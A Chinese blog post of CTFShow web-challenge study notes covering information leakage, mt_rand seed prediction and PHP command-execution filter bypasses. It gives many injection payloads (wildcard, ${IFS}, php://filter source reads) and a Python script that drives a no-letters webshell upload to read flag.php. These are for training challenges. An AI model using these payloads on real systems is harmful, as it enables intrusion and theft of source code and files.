Ctfshow知识点记录
信息泄露
CTFShow-Web入门-信息收集 - airtail - 博客园 (cnblogs.com)
-svn泄露:ctfhub之svn信息泄露_tempulcc的博客-程序员宅基地_ctfhub svn泄露 - 程序员宅基地 (cxyzjd.com)
SVN是subversion的缩写,是一个开放源代码的版本控制系统,通过采用分支管理系统的高效管理,简而言之就是用于多个人共同开发同一个项目,实现共享资源,实现最终集中式的管理。s
原因:在服务器上布署代码时。如果是使用 svn checkout 功能来更新代码,而没有配置好目录访问权限,则会存在此漏洞。黑客利用此漏洞,可以下载整套网站的源代码。
在使用SVN管理本地代码过程中,会自动生成一个隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使隐藏文件夹被暴露于外网环境,这使得渗透工程师可以借助其中包含版本信息追踪的网站文件,逐步摸清站点结构。
-Vim缓存:linux下的vim修改后保存的几个临时文件,.swp .swo .swn (三次意外退出)
-TXT记录:域名解析,在DNS记录里面,除了最常见的A记录,CNAME记录,MX记录,还有不常见的TXT记录。 大家一般不会使用TXT记录,其实TXT记录还是很有用的。 TXT记录用来保存域名的附加文本信息,TXT记录的内容按照一定的格式编写,最常用的是SPF格式,SPF用于登记某个域名拥有的用来外发邮件的所有ip地址
-目录扫描工具-dirsearch的kali安装:
更改python版本以及切换:kali linux安装python3 及如何切换版本 - todayisbeautyful - 博客园 (cnblogs.com)
使用:目录爆破工具dirsearch - the苍穹 - 博客园 (cnblogs.com)
-对于一些花里胡哨的网站,找不到突破口或者提示没有的时候,可以后台目录扫描dirsearch
-测试探针:实质上是通过网页编程语言(ASP、PHP、ASP.NET等)实现探测服务器敏感信息的脚本文件常用的4款PHP探针工具 查看WEB环境软件版本 | 老左笔记 (laozuo.org)
这个就是访问tz.php得到的界面
爆破
!使用英文版bat_english,中文版会在一些爆破上出现格式错误,无法改正
Php随机数的伪随机数:
-mt_rand()存在的问题:PHP: mt_srand - Manual
由于mt_rand()的生成的随机数只跟seed和调用该函数的次数有关。举一个简单的例子来说明一下这个问题,假设使用mt_srand(1111111)进行了一次播种操作,接下来调用mt_rand()函数,第一次生成的数值为a,第二次生成的为b,第三次生成的为c。任何一个人拿到这样的一串代码,所执行的结果都是跟刚刚描述的一样。所以当你的seed数值被他人知道后,就可以预测出你接下来的数值是多少,这就是该函数的一个问题,他并不能起到一个真随机数的作用。
CTF| web篇之伪随机数 - FreeBuf网络安全行业门户
Web-24可以用脚本跑seed
秋后整理
命令执行
干干货:命令执行绕过小技巧 - NPFS - 博客园 (cnblogs.com)
学习参考:CTF中的命令执行绕过方式 - FreeBuf网络安全行业门户
参考wp:(29条消息) CTFshow web入门——命令执行_小元砸的博客-CSDN博客
-正则表达式:正则表达式使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串。
正则表达式 – 语法 | 菜鸟教程 (runoob.com)
Web29:参考PHP: preg_match - Manual:
-通配符:是一种特殊语句,主要有星号(*)和问号(?),用来模糊搜索文件。 当查找文件夹时,可以使用它来代替一个或多个真正字符;当不知道真正字符或者懒得输入完整名字时,常常使用通配符代替一个或多个真正的字符。
这一题可以通过这个直接解:?c=echo system(‘cat f*’);
Web30:常规绕过
Web31-web32:均可以采用include结合伪协议进行包含读取
有时候看着崭新的php专有名词,会陷入迷茫常阅读此:PHP: PHP 能做什么? - Manual
Php的include函数+伪协议php://filter
伪协议ctf参考:php伪协议的学习 - Na0H的神光棒存放地
?c=include”$_GET[url]”?>&url=php://filter/read=convert.base64-encode/resource=flag.phpphp://filter/read=convert.base64encode/resource=hhh.php使用了过滤器convert.base64-encode:将输入流进行base64编码;resource=hhh.php:数据源自文件hhh.php,也就是读取hhh.php文件
Web40:需要时不时看看
无参数读文件和RCE总结 - FreeBuf网络安全行业门户
ctfshow-web入门命令执行-web40/web41(附python脚本) - Aninock - 博客园 (cnblogs.com)
web41:需要学习的很多,python的学习
ctfshow-web入门命令执行-web40/web41(附python脚本) - Aninock - 博客园 (cnblogs.com)
python导入模块:
file->setting->project python_saving->python Interpreter
(30条消息) 无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_羽的博客-CSDN博客(出题人)
Web43-web44
参考Linux命令大全(手册) – 真正好用的Linux命令在线查询网站 (linuxcool.com)
学习命令
均过滤了cat与flag与‘;’,所以构造payload:?c=tail -n 5 f*|| 即可
|| //只执行前面那条命令
Web45
所谓ifs绕过空格:空格使用${IFS}代替,也可以$IFS主要看大括号有没有被过滤
Web46-52
过滤了$,故不可使用ifs绕过,这时候使用linux中的nl命令是一个很好用的编号过滤工具。该命令可以读取 File 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。
!传参注意不要保留空格,因为题目过滤空格
Web54:加强了过滤力度,可以使用通配符进行模糊查询,使用grep(强大的文本搜索工具:全面搜索正则表达式)绕过
Payload 1:c=/bin/c??${IFS}????????->c=/bin/cat${IFS}flag.php
Payload 2:?c=grep${IFS}’{‘${IFS}fl???php//看不嘿懂,特别是那个’{’,看官方文档也没看到这种写法
Web55:仍然是通配符应用
Payload 1:?c=/???/????64 ????.??? 意思是 /bin/base64 flag.php(前提是知道网站目录下包含base64)
Payload 2:?c=/???/???/????2 ????.??? 也就是/usr/bin/bzip2 flag.php(意思就是说我们先将flag.php文件进行压缩,然后再将其下载)
Payload 3:无字母getshel,有参考:无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)
也有脚本直接跑
import requests
while True:
url=”http://a88c904d-6cd4-4eba-b7e9-4c37e0cf3a7d.chall.ctf.show/?c=.+/???/????????[@-[]”
r = requests.post(url, files={“file”: (‘feng.txt’, b’cat flag.php’)})
if r.text.find(“flag”) > 0:
print(r.text)
break
web57:
payload 1:?c=grep${IFS}’fla’${IFS}fla??php
payload 2:?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
//数字绕过,为什么要求36啊》?

...
...
本博客所有文章除特别声明外,均采用CC BY-SA 4.0 协议 ,转载请注明出处!